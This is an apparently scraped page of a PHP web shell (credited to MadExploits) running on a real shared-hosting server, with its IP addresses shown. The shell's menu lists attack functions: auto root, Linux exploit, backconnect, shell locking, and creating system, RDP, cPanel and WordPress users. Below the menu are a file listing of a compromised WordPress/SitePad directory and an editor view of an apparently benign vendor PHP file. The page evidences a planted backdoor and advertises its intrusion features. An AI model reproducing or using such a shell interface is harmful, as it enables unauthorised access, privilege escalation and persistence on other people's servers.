Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 18.189.185.63
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
softaculous /
sitepad /
editor /
site-inc /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
random_compat
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
admin-bar.php
29.03
KB
-rw-r--r--
atomlib.php
11.56
KB
-rw-r--r--
author-template.php
16.22
KB
-rw-r--r--
blocks.php
12.43
KB
-rw-r--r--
bookmark-template.php
11.64
KB
-rw-r--r--
bookmark.php
13.55
KB
-rw-r--r--
bootstrap.php
4.11
KB
-rw-r--r--
cache.php
21.35
KB
-rw-r--r--
canonical.php
27.83
KB
-rw-r--r--
capabilities.php
28.84
KB
-rw-r--r--
category-template.php
50.8
KB
-rw-r--r--
category.php
12.41
KB
-rw-r--r--
class-IXR.php
2.51
KB
-rw-r--r--
class-feed.php
523
B
-rw-r--r--
class-http.php
36.22
KB
-rw-r--r--
class-json.php
39.53
KB
-rw-r--r--
class-oembed.php
30.73
KB
-rw-r--r--
class-phpass.php
7.15
KB
-rw-r--r--
class-phpmailer.php
668
B
-rw-r--r--
class-pop3.php
20.43
KB
-rw-r--r--
class-requests.php
29.09
KB
-rw-r--r--
class-simplepie.php
87.17
KB
-rw-r--r--
class-smtp.php
461
B
-rw-r--r--
class-walker-category-dropdown...
2.07
KB
-rw-r--r--
class-walker-category.php
6.62
KB
-rw-r--r--
class-walker-comment.php
13.33
KB
-rw-r--r--
class-walker-nav-menu.php
8.38
KB
-rw-r--r--
class-walker-page-dropdown.php
2.24
KB
-rw-r--r--
class-walker-page.php
6.78
KB
-rw-r--r--
class-wp-admin-bar.php
16.08
KB
-rw-r--r--
class-wp-ajax-response.php
5.01
KB
-rw-r--r--
class-wp-block-parser.php
14.86
KB
-rw-r--r--
class-wp-block-type-registry.p...
4.63
KB
-rw-r--r--
class-wp-block-type.php
4.7
KB
-rw-r--r--
class-wp-comment-query.php
42.21
KB
-rw-r--r--
class-wp-comment.php
8.75
KB
-rw-r--r--
class-wp-customize-control.php
24.49
KB
-rw-r--r--
class-wp-customize-manager.php
195.47
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
53.08
KB
-rw-r--r--
class-wp-customize-panel.php
9.42
KB
-rw-r--r--
class-wp-customize-section.php
9.99
KB
-rw-r--r--
class-wp-customize-setting.php
27.59
KB
-rw-r--r--
class-wp-dependency.php
2.28
KB
-rw-r--r--
class-wp-editor.php
66.27
KB
-rw-r--r--
class-wp-embed.php
14.38
KB
-rw-r--r--
class-wp-error.php
4.81
KB
-rw-r--r--
class-wp-feed-cache-transient....
2.5
KB
-rw-r--r--
class-wp-feed-cache.php
749
B
-rw-r--r--
class-wp-hook.php
13.77
KB
-rw-r--r--
class-wp-http-cookie.php
6.44
KB
-rw-r--r--
class-wp-http-curl.php
11.64
KB
-rw-r--r--
class-wp-http-encoding.php
6.35
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.25
KB
-rw-r--r--
class-wp-http-proxy.php
5.92
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.83
KB
-rw-r--r--
class-wp-http-requests-respons...
4.19
KB
-rw-r--r--
class-wp-http-response.php
2.8
KB
-rw-r--r--
class-wp-http-streams.php
15.02
KB
-rw-r--r--
class-wp-image-editor-gd.php
13.18
KB
-rw-r--r--
class-wp-image-editor-imagick....
21.27
KB
-rw-r--r--
class-wp-image-editor.php
11.49
KB
-rw-r--r--
class-wp-list-util.php
6.25
KB
-rw-r--r--
class-wp-locale-switcher.php
4.91
KB
-rw-r--r--
class-wp-locale.php
14.26
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.76
KB
-rw-r--r--
class-wp-meta-query.php
22.86
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
5.26
KB
-rw-r--r--
class-wp-network-query.php
16.79
KB
-rw-r--r--
class-wp-network.php
11.93
KB
-rw-r--r--
class-wp-oembed-controller.php
5.88
KB
-rw-r--r--
class-wp-post-type.php
17.81
KB
-rw-r--r--
class-wp-post.php
6.28
KB
-rw-r--r--
class-wp-query.php
127.67
KB
-rw-r--r--
class-wp-rewrite.php
58.42
KB
-rw-r--r--
class-wp-role.php
2.6
KB
-rw-r--r--
class-wp-roles.php
8.13
KB
-rw-r--r--
class-wp-session-tokens.php
7.25
KB
-rw-r--r--
class-wp-simplepie-file.php
2.27
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-r--r--
class-wp-site-query.php
26.78
KB
-rw-r--r--
class-wp-site.php
7.13
KB
-rw-r--r--
class-wp-tax-query.php
18.81
KB
-rw-r--r--
class-wp-taxonomy.php
10.41
KB
-rw-r--r--
class-wp-term-query.php
33.84
KB
-rw-r--r--
class-wp-term.php
5.14
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
716
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
16.06
KB
-rw-r--r--
class-wp-theme.php
48.09
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.92
KB
-rw-r--r--
class-wp-user-query.php
30.49
KB
-rw-r--r--
class-wp-user.php
20.91
KB
-rw-r--r--
class-wp-walker.php
12.39
KB
-rw-r--r--
class-wp-widget-factory.php
3.69
KB
-rw-r--r--
class-wp-widget.php
17.41
KB
-rw-r--r--
class-wp-xmlrpc-server.php
202.08
KB
-rw-r--r--
class-wp.php
24.18
KB
-rw-r--r--
class.wp-dependencies.php
11.24
KB
-rw-r--r--
class.wp-scripts.php
16.79
KB
-rw-r--r--
class.wp-styles.php
9.61
KB
-rw-r--r--
comment-template.php
87.64
KB
-rw-r--r--
comment.php
111.72
KB
-rw-r--r--
compat.php
15.99
KB
-rw-r--r--
cron.php
30.82
KB
-rw-r--r--
date.php
34.34
KB
-rw-r--r--
default-constants.php
9.61
KB
-rw-r--r--
default-filters.php
24.68
KB
-rw-r--r--
default-widgets.php
2.13
KB
-rw-r--r--
embed.php
44.04
KB
-rw-r--r--
feed-atom-comments.php
5.33
KB
-rw-r--r--
feed-atom.php
3.09
KB
-rw-r--r--
feed-rdf.php
2.67
KB
-rw-r--r--
feed-rss.php
1.25
KB
-rw-r--r--
feed-rss2-comments.php
4.09
KB
-rw-r--r--
feed-rss2.php
3.77
KB
-rw-r--r--
feed.php
19.29
KB
-rw-r--r--
formatting.php
277.86
KB
-rw-r--r--
functions.php
207.2
KB
-rw-r--r--
functions.wp-scripts.php
12.53
KB
-rw-r--r--
functions.wp-styles.php
8.03
KB
-rw-r--r--
general-template.php
138.46
KB
-rw-r--r--
http.php
21.9
KB
-rw-r--r--
kses.php
55.74
KB
-rw-r--r--
l10n.php
50.58
KB
-rw-r--r--
link-template.php
135.3
KB
-rw-r--r--
load.php
36.4
KB
-rw-r--r--
media-template.php
46.33
KB
-rw-r--r--
media.php
141.33
KB
-rw-r--r--
meta.php
44.98
KB
-rw-r--r--
mime.php
39.54
KB
-rw-r--r--
nav-menu-template.php
21.2
KB
-rw-r--r--
nav-menu.php
39.57
KB
-rw-r--r--
open_basedir.php
21
B
-rw-r--r--
option.php
67.91
KB
-rw-r--r--
pluggable.php
97.52
KB
-rw-r--r--
plugin.php
31.37
KB
-rw-r--r--
post-formats.php
6.86
KB
-rw-r--r--
post-template.php
60.07
KB
-rw-r--r--
post-thumbnail-template.php
8.75
KB
-rw-r--r--
post.php
227.37
KB
-rw-r--r--
query.php
31.24
KB
-rw-r--r--
rest-api.php
40.67
KB
-rw-r--r--
revision.php
21.08
KB
-rw-r--r--
rewrite.php
17.27
KB
-rw-r--r--
rss.php
22.66
KB
-rw-r--r--
script-loader.php
98.75
KB
-rw-r--r--
shortcodes.php
20.25
KB
-rw-r--r--
sitepad_functions.php
19.26
KB
-rw-r--r--
sitepad_functions2.php
21.99
KB
-rw-r--r--
spl-autoload-compat.php
2.51
KB
-rw-r--r--
taxonomy.php
152.95
KB
-rw-r--r--
template-loader.php
2.55
KB
-rw-r--r--
template.php
19.77
KB
-rw-r--r--
theme.php
99.09
KB
-rw-r--r--
update.php
24.81
KB
-rw-r--r--
user.php
120.69
KB
-rw-r--r--
vars.php
5.59
KB
-rw-r--r--
version.php
2.03
KB
-rw-r--r--
widgets.php
55.82
KB
-rw-r--r--
wlwmanifest.xml
1.03
KB
-rw-r--r--
wp-db.php
99.29
KB
-rw-r--r--
wp-diff.php
662
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sitepad_functions.php
<?php /** * Part of sitemush DB changing * This is just below $wpdb connection * By Default we connect to sitemush DB to verify session */ // We need the ABSPATH if (!defined('ABSPATH')){ die('Hacking Attempt'); }; global $sitepad, $globals, $l, $SESS; function sitepad_mirrors(){ global $sitepad; $r = array( 'https://s1.softaculous.com/a/sitepad/', 'https://s2.softaculous.com/a/sitepad/', 'https://s3.softaculous.com/a/sitepad/', 'https://s4.softaculous.com/a/sitepad/', 'https://s5.softaculous.com/a/sitepad/' ); if(!empty($sitepad['dev'])){ return 'http://127.0.0.1/website/api/sitepad/'; } $mirror = $r[array_rand($r)]; // If the license is newly issued, we need to fetch from API only if(!empty($sitepad['license']['last_edit']) && (time() - 1800) < $sitepad['license']['last_edit']){ $mirror = 'https://api.sitepad.com/'; } // If the license is newly issued, we need to fetch from API only if(!empty($sitepad['server_license']['last_edit']) && (time() - 1800) < $sitepad['server_license']['last_edit']){ $mirror = 'https://api.sitepad.com/'; } return $mirror; } // This is only for static content function sitepad_themes_api_url($theme){ global $sitepad; if(!empty($sitepad['dev'])){ return 'http://127.0.0.1/sitepad/themes/'.$theme.'/'; } return sitepad_mirrors().'/files/themes/'.$theme.'/'; } function sitepad_assets_url(){ global $sitepad; $url = $sitepad['url']; if(function_exists('home_url')){ $url = home_url(); } return $url.'/site-data/assets'; } // Sitepad WP URL function sitepad_admin_url($path){ global $sitepad; if($path[0] == '/'){ $path = ltrim($path, '/'); } $url = $sitepad['url']; if(function_exists('home_url')){ $url = home_url(); } return $url.'/site-admin/'.$path; } function sitepad_stored_web_url($id){ return get_user_meta(1, $id.'_sitepad_domain', 1).get_user_meta(1, $id.'_sitepad_path', 1); } // Gives the screenshot URL function sitepad_screenshot_relative($id){ global $sitepad; return 'screenshots/'.$id.'.jpg'; } // Check Session function check_session_key(){ global $globals, $l, $SESS; //May be in the GET //'as' - Session Key if(isset($_GET['as'])){ $id = inputsec(htmlizer(trim($_GET['as']))); if(preg_match('~^[A-Za-z0-9]{32}$~', $id) == 0){ //Return False return 0; }else{ //Return Session ID return $id; } // Check the cookie }elseif(isset($_COOKIE[$globals['cookie_name'].'_sid']) && strlen(trim($_COOKIE[$globals['cookie_name'].'_sid'])) == 32){ $id = inputsec(htmlizer(trim($_COOKIE[$globals['cookie_name'].'_sid']))); if(preg_match('~^[A-Za-z0-9]{32}$~', $id) == 0){ //Return False return 0; }else{ //Return Session ID return $id; } }else{ //Return False return 0; } }//End of function // Save Session function save_session(){ global $globals, $l, $SESS; // Only on CP if(!empty($globals['iam'])){ return false; } if(empty($SESS['sid'])){ return false; } // Are you an admin logged in as a USER if(!empty($SESS['temp_uid']) && !empty($SESS['is_admin'])){ $SESS['uid'] = $SESS['og_uid']; } $SESS['ip'] = $_SERVER['REMOTE_ADDR']; $SESS['user-agent'] = $_SERVER['HTTP_USER_AGENT']; //////////////////////////////// // REPLACE in the Session Table //////////////////////////////// $res = vquery("REPLACE INTO sitemush.sessions SET sid = '".$SESS['sid']."', last_updated = '".time()."', data = '".addslashes(serialize($SESS))."'"); if(vsql_affected_rows($res) < 1){ return false; } return true; }//End of function // Execute a select query and return an array function vquery($query, $array = 0){ global $sitepad; $result = vsql_query($query, $sitepad['conn']); if( !$result ){ //Didnt get anyresult - DIE die('Could not make the Query.<br /><br /><br />'.$query.'<br /><br />MySQL Error No : '.vsql_errno($sitepad['conn']).'<br /><br />MySQL Error : '.vsql_error($sitepad['conn'])); } return $result; } // Connect to the database and return the conn function vsql_connect($host, $db, $user, $pass){ global $error; // Make the Connection $exh = explode(':', $host); if(!empty($exh[1])){ $sconn = @mysqli_connect($exh[0], $user, $pass, '', $exh[1]); }else{ $sconn = @mysqli_connect($host, $user, $pass); } //CHECK Errors and SELECT DATABASE if(!empty($sconn)){ if(!@mysqli_select_db($sconn, $db)){ $error['db_select'] = 'Could not select the database !'; return false; } }else{ $error['db_conn'] = 'Could not make the database connection !'; return false; } return $sconn; } /** * Executes the query mysqli if exists else mysql * @package softaculous * @author Brijesh Kothari * @param string $db database to be selected * @param string $conn Resource Link * @returns bool TRUE on success or FALSE on failure * @since 4.4.3 */ function vsql_query($query, $conn){ try{ if(extension_loaded('mysqli')){ $return = @mysqli_query($conn, $query); }else{ $return = @mysql_query($query, $conn); } }catch(Exception $e){ return false; } return $return; } /** * Fetches the result into associative array from a result link mysqli if exists else mysql * @package softaculous * @author Brijesh Kothari * @param string $result result to fetch the data from * @returns mixed Returns an associative array of strings that corresponds to the fetched row, or FALSE if there are no more rows * @since 4.4.3 */ function vsql_fetch_assoc($result){ if(extension_loaded('mysqli')){ $return = @mysqli_fetch_assoc($result); }else{ $return = @mysql_fetch_assoc($result); } return $return; } /** * Get a result row as an enumerated array mysqli if exists else mysql * @package softaculous * @author Brijesh Kothari * @param string $result result to fetch the data from * @returns mixed returns an array of strings that corresponds to the fetched row or FALSE if there are no more rows * @since 4.4.3 */ function vsql_fetch_row($result){ if(extension_loaded('mysqli')){ $return = @mysqli_fetch_row($result); }else{ $return = @mysql_fetch_row($result); } return $return; } function vsql_affected_rows($result){ if(extension_loaded('mysqli')){ $return = @mysqli_affected_rows($conn); }else{ $return = @mysql_affected_rows($conn); } return $return; } function vsql_num_rows($result){ if(extension_loaded('mysqli')){ $return = @mysqli_num_rows($result); }else{ $return = @mysql_num_rows($result); } return $return; } // Get the insert ID function vsql_insert_id($conn){ if(extension_loaded('mysqli')){ $return = @mysqli_insert_id($conn); }else{ $return = @mysql_insert_id($conn); } return $return; } /** * Returns the text of the error message from previous MySQL/MySQLi operation * @package softaculous * @author Brijesh Kothari * @param string $conn MySQL/MySQLi connection * @returns string Returns the error text from the last MySQL function * @since 4.4.3 */ function vsql_error($conn){ if(extension_loaded('mysqli')){ $return = @mysqli_error($conn); // In mysqli if connection is not made then we will get connection error using the following function. if(empty($conn)){ $return = @mysqli_connect_error(); } }else{ $return = @mysql_error($conn); } return $return; } /** * Returns the numerical value of the error message from previous MySQL operation * @package softaculous * @author Brijesh Kothari * @param string $conn MySQL/MySQLi connection * @returns int Returns the error number from the last MySQL function * @since 4.4.3 */ function vsql_errno($conn){ if(extension_loaded('mysqli')){ $return = @mysqli_errno($conn); }else{ $return = @mysql_errno($conn); } return $return; } // Matches for valid characters in a domain name and returns function is_domain($domain){ //Made a fix to add ~ and / for MOD DIR if enabled return !preg_match('/[^~A-Za-z0-9_\-\/\.]/is', $domain); } // Matches for valid characters in a path and returns function is_domain_path($path){ return !preg_match('/[^A-Za-z0-9_\-\.\\/]/is', $path); } // Makes an API Call to the URL given function get_license_info($path, $post = array()){ global $globals; //echo $url.'<br/>'; $url = $globals['sitemush_api'].'/'.$path; // Make curl call $resp = curl_call($url, $post); if(empty($resp)){ return false; } // Decode it $resp = sm_decode($resp); if(empty($resp)){ return false; } $r = @json_decode($resp, true); if(empty($r)){ return false; } return $r; } // Does the login - maybe, you can combine with make_session() itself function sm_login($siteid){ global $SESS; // Create the session make_session(); // NOTE : uid is siteid and we have used uid to avoid variable name changes of the session functions borrowed from Pinguzo // Set the SITE ID $SESS['uid'] = $siteid; // Generate 16 Bit random token key for to prevent CSRF from every form $SESS['token_key'] = 'sess'.generateRandStr(16); /*// Are you an admin ? if($SESS['uid'] == 166){ // Set you are the ADMIN $SESS['is_admin'] = 1; $SESS['uid'] = $sitemush_site['siteid']; $SESS['og_uid'] = $sitemush_site['siteid']; }*/ } function sm_api_return($arr){ die(json_encode($arr)); } // Execute shell commands function myexec($command, &$array, &$ret){ if(strtoupper(substr(PHP_OS, 0, 3)) != 'WIN'){ exec($command, $array, $ret); return $ret; } $tmpnam = 't'.rand(1, 999).".bat"; $fp = fopen ($tmpnam, "w"); fwrite($fp, $command); fclose ($fp); exec($tmpnam, $array, $ret); unlink($tmpnam); return $ret; } /** * Connect to the ftp server * * @param string $host The hostname of the ftp server * @param string $username The username Login detail * @param string $pass The Login password * @param string $cd The path of the file or directory to be changed * @returns bool */ function sftp_connect($host, $username, $pass, $protocol = 'ftp', $port = 21, $cd = false, $pub = '', $pri = '', $passphrase = '', $test_upload = ''){ global $globals, $cli_data; $port = (int) $port; // Converting to INT as FTP class requires an integer if(!class_exists('ftp_base') && $protocol == 'ftp'){ include_once(ABSPATH . 'site-admin/includes/ftp.php'); } if(!class_exists('sftp') && $protocol == 'sftp'){ include_once(ABSPATH . 'site-admin/includes/sftp.php'); } if(!class_exists('ftps') && $protocol == 'ftps'){ include_once(ABSPATH . 'site-admin/includes/ftps.php'); } if(!class_exists('CustomIO') && $protocol == 'customio'){ include_once(ABSPATH . 'site-admin/includes/customio.php'); } if(!class_exists($protocol) && file_exists($globals['mainfiles'].'/classes/'.$protocol.'.php')){ include_once(ABSPATH . 'site-admin/includes/'.$protocol.'.php'); } if($protocol == 'ftp'){ $ftp = new ftp(FALSE, FALSE); if($_GET['debug'] == 'died' && $_GET['echo'] == '1') $ftp->LocalEcho = true; if($_GET['debug'] == 'died' && $_GET['verbose'] == '1') $ftp->Verbose = true; // We get this when executing publis-cli.php via exec() in background if(!empty($cli_data['debug']) && $cli_data['debug'] == 'publish'){ $ftp->LocalEcho = true; $ftp->Verbose = true; } if(!$ftp->SetServer($host, $port)) { $ftp->quit(); return 0; } if (!$ftp->connect()) { return -1; } if (!$ftp->login($username, $pass)) { $ftp->quit(); return -2; } if(!empty($cd)){ if(!$ftp->chdir($cd)){ if(!$ftp->chdir(trim($cd, '/'))){ return -3; } //return -3; } } if(!$ftp->SetType(FTP_AUTOASCII)){ } if(!$ftp->Passive(TRUE)){ } } // Class other than FTP if(empty($ftp)){ // Initialize a Class if($protocol == 'customio' && file_exists(ABSPATH . 'site-admin/includes/customio.php')){ $ftp = new CustomIO(); }else{ $ftp = new $protocol(); } // Return if Class not found if(!is_object($ftp)){ return -1; } // For SFTP authentication with keys or password if($protocol == 'sftp' && !empty($pub) && !empty($pri)){ $ftp->auth_pass = 0; }else{ $ftp->auth_pass = 1; } // Can connect ? $ret = $ftp->connect($host, $port, $username, $pass, $pub, $pri, $passphrase); if(!$ret){ return -2; } // Is directory present if(!empty($cd)){ if(!$ftp->is_dir($cd)){ return -3; } } } // Try to upload a test file (if we have to test it) This is to make sure we will be able to upload file or not if(!empty($test_upload)){ if(!empty($test_upload) && $test_upload != "/"){ $ftp->mkdir($test_upload); } if(!$ftp->softput($test_upload.'/testsitepad.html', '<html></html>')){ return -4; } // Delete the test file $ftp->delete($test_upload.'/testsitepad.html'); } return $ftp; } // Merge error function error_merge($orig, $new){ $orig = (!is_array() ? array($orig) : $orig); $new = (!is_array() ? array($orig) : $new); // Merge errors return array_merge($orig, $new); } function current_script_name(){ $a_wp_dir = cleanpath(ABSPATH).'/'; $this_script_file = str_replace($a_wp_dir, '', cleanpath($_SERVER['SCRIPT_FILENAME'])); //echo ($this_script_file.' - '.$_SERVER['SCRIPT_FILENAME']); return $this_script_file; } function sm_redirect($location, $header = true, $raw = false){ global $globals, $redirect; $redirect = true; $prefix = (empty($raw) ? $globals['index'] : ''); if(isset($_SERVER['argv']) || isset($argv)){ $header = false; } if($header){ //Redirect header("Location: ".$prefix.$location); }else{ echo '<meta http-equiv="Refresh" content="0;url='.$prefix.$location.'">'; } } // Just reads a TPL file and handles branding function get_tpl_file($path){ // Read the file $data = file_get_contents($path); // Handle the branding $data = str_ireplace('SitePad Editor', BRAND_SM_EDITOR, $data); $data = str_ireplace('http://sitepad.com', BRAND_SM_URL, $data); $data = str_ireplace('http://www.sitepad.com', BRAND_SM_URL, $data); $data = str_ireplace('https://sitepad.com', BRAND_SM_URL, $data); $data = str_ireplace('https://www.sitepad.com', BRAND_SM_URL, $data); $data = str_replace('SitePad', BRAND_SM, $data); $data = str_replace('Sitepad', BRAND_SM, $data); return $data; } // encrypts the text with salt function pass_encrypt($txt){ global $universal; return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($universal['salt']), $txt, MCRYPT_MODE_CBC, md5(md5($universal['salt'])))); } // decrypts the text with salt function pass_decrypt($crypttxt){ global $universal; return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($universal['salt']), base64_decode($crypttxt), MCRYPT_MODE_CBC, md5(md5($universal['salt']))), "\0"); } /** * Generate the Sitemap <url> tag * * @package sitepad * @author Brijesh Kothari * @param string $loc Full URL for the <loc> tag * @param string $lastmod Last * @param string $changefreq Full URL for the <loc> tag * @param string $priority Full URL for the <loc> tag * @param string $path (Optional) If given the FETCHED data is saved in the file instead of having it returned * @return string The FETCHED DATA * @since */ function sitemap_url_tag($loc, $lastmod = '', $changefreq = '', $priority = ''){ // Default values if(empty($lastmod)){ $lastmod = date('Y-m-d', time()); } if(empty($changefreq)){ $changefreq = 'monthly'; } if(empty($priority)){ $priority = '0.5'; } $sitemap = '<url> <loc>'.$loc.'</loc> <lastmod>'.$lastmod.'</lastmod> <changefreq>'.$changefreq.'</changefreq> <priority>'.$priority.'</priority> </url> '; return $sitemap; } function fetch_plan($plan = ''){ global $SESS, $themes; $plans = json_decode(file_get_contents(ABSPATH.'/site-data/plans.json'), true); if(empty($plan)){ return $plans; } if(!empty($plans[$plan])){ return $plans[$plan]; } return false; } /** * A Function to add file to a ZIP file * * @package files * @author Pulkit Gupta * @param string $file The existing ZIP file Path * @param string $dir The file / directory to add * @param string $addpath The path in the zip of the new file(s) * @param string $pre * @return boolean * @since 1.0 */ function sme_add_to_zip($file, $dir, $addpath = '', $pre = ''){ global $globals; if(!defined('PCLZIP_TEMPORARY_DIR')){ define('PCLZIP_TEMPORARY_DIR', ($globals['os'] == 'linux' ? '/tmp/' : '')); } if(!class_exists('softpclzip')){ include_once(ABSPATH . 'site-admin/includes/softaculous.pclzip.php'); } $archive = new softpclzip($file); $rempath = (is_dir($dir) ? $dir : dirname($dir)); if(empty($pre)){ $result = $archive->_add($dir, PCLZIP_OPT_REMOVE_PATH, $rempath, PCLZIP_OPT_ADD_PATH, $addpath, PCLZIP_OPT_TEMP_FILE_ON); }else{ $result = $archive->_add($dir, PCLZIP_OPT_REMOVE_PATH, $rempath, PCLZIP_OPT_ADD_PATH, $addpath, PCLZIP_CB_PRE_ADD, $pre, PCLZIP_OPT_TEMP_FILE_ON); } if($result == 0){ if(!empty($_GET['debug']) && @$_GET['debug'] == 'soft'){ echo $archive->errorInfo(); } return false; } return true; } /** * Checks if the user can download the site * @package sitepad * @author Brijesh Kothari * @returns bool false if the user is not allowed to download the site else true * @since 4.4.3 */ function can_download_site(){ global $SESS, $sitepad; if(!empty($SESS['enable_downloads'])){ return true; } if(!empty($sitepad['features']['download_site'])){ return true; } return false; } /** * Encode a TEXT string into a Softaculous Encode Format * * @package softaculous * @subpackage license * @author Pulkit Gupta * @param string $txt The string to be encoded. * @return string The encoded string. * @since 1.0 */ function sm_encode($txt){ $from = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'); $to = array('!', '@', '#', '$', '%', '^', '&', '*', '(', ')'); $txt = base64_encode($txt); $txt = str_replace($from, $to, $txt); $txt = gzcompress($txt); // Reverse the Bits for($i = 0; $i < strlen($txt); $i++){ $txt[$i] = sm_reverse_bits($txt[$i]); //echo $i.' - '.$txt[$i].' - '.sm_reverse_bits($txt[$i]).'<br>'; } $txt = base64_encode($txt); //echo '<br>---------------<br>'; return $txt; } /** * Decode a TEXT string from a Softaculous Encode Formatted string * * @package softaculous * @subpackage license * @author Pulkit Gupta * @param string $txt The string to be decoded. * @return string The decoded string. * @since 1.0 */ function sm_decode($txt){ $from = array('!', '@', '#', '$', '%', '^', '&', '*', '(', ')'); $to = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'); $txt = base64_decode($txt); // Reverse the Bits for($i = 0; $i < strlen($txt); $i++){ $txt[$i] = sm_reverse_bits($txt[$i]); //echo $i.' - '.$txt[$i].' - '.sm_reverse_bits($txt[$i]).'<br>'; } $txt = gzuncompress($txt); $txt = str_replace($from, $to, $txt); $txt = base64_decode($txt); return $txt; } function sm_reverse_bits($orig){ $v = decbin(ord($orig)); $pad = str_pad($v, 8, '0', STR_PAD_LEFT); $rev = strrev($pad); $bin = bindec($rev); $chr = chr($bin); //echo $pad.' - '.$v.' - '.$txt[$i].' - '.$rev.' - '.$bin.' - '.$chr.'<br>'; return $chr; }
Close